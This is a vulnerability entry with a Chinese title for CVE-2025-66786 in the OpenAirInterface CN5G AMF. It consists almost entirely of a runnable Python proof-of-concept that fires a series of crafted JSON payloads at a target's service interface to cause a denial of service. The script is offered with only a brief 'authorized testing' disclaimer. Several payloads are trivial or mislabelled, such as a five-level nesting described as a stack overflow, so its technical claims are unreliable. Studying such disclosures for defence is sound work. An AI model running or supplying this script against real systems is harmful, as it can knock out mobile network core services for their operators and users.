CVE-2025-66786 OpenAirInterface CN5G AMF JSON处理逻辑错误拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-66786 PoC - OpenAirInterface CN5G AMF JSON DoS Note: This PoC is for educational and authorized testing purposes only. """ import requests import json import sys import time def send_malicious_json(target_url, payload): """ Send malicious JSON payload to AMF SBI interface """ headers = { 'Content-Type': 'application/json', 'Accept': 'application/json' } try: response = requests.post( target_url, data=json.dumps(payload), headers=headers, timeout=10, verify=False ) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def generate_malicious_payloads(): """ Generate various malicious JSON payloads to trigger the logic error """ payloads = [ # Payload 1: Deeply nested JSON causing stack overflow {"data": {"level1": {"level2": {"level3": {"level4": {"level5": "recursive"}}}}}}, # Payload 2: Empty key with special characters {"": "malicious", "key": None}, # Payload 3: Array explosion {"array": [i for i in range(100000)]}, # Payload 4: Type confusion {"field": {"nested": [{"a": 1}, {"b": 2}]}}, # Payload 5: Unicode bypass attempt {"\u0000": "null_byte_injection", "data": "\uffff"}, # Payload 6: Malformed JSON structure {"invalid": {"structure": [{"key": "value"}, {"key": None}]}} ] return payloads def main(): if len(sys.argv) < 2: print("Usage: python3 cve_2025_66786_poc.py <target_url>") print("Example: python3 cve_2025_66786_poc.py http://target:8080/sbi/endpoint") sys.exit(1) target_url = sys.argv[1] print(f"[*] CVE-2025-66786 PoC - Testing {target_url}") print(f"[*] Target: OpenAirInterface CN5G AMF <= v2.0.1") payloads = generate_malicious_payloads() for i, payload in enumerate(payloads, 1): print(f"\n[*] Sending payload {i}/{len(payloads)}...") status, response = send_malicious_json(target_url, payload) if status: print(f"[+] Payload {i} - Status: {status}") if status >= 500: print(f"[!] Potential vulnerability triggered - Server error detected") else: print(f"[-] Payload {i} - Connection failed: {response}") time.sleep(1) print("\n[*] PoC execution completed") print("[*] Note: Successful exploitation may cause DoS on target AMF component") if __name__ == "__main__": main()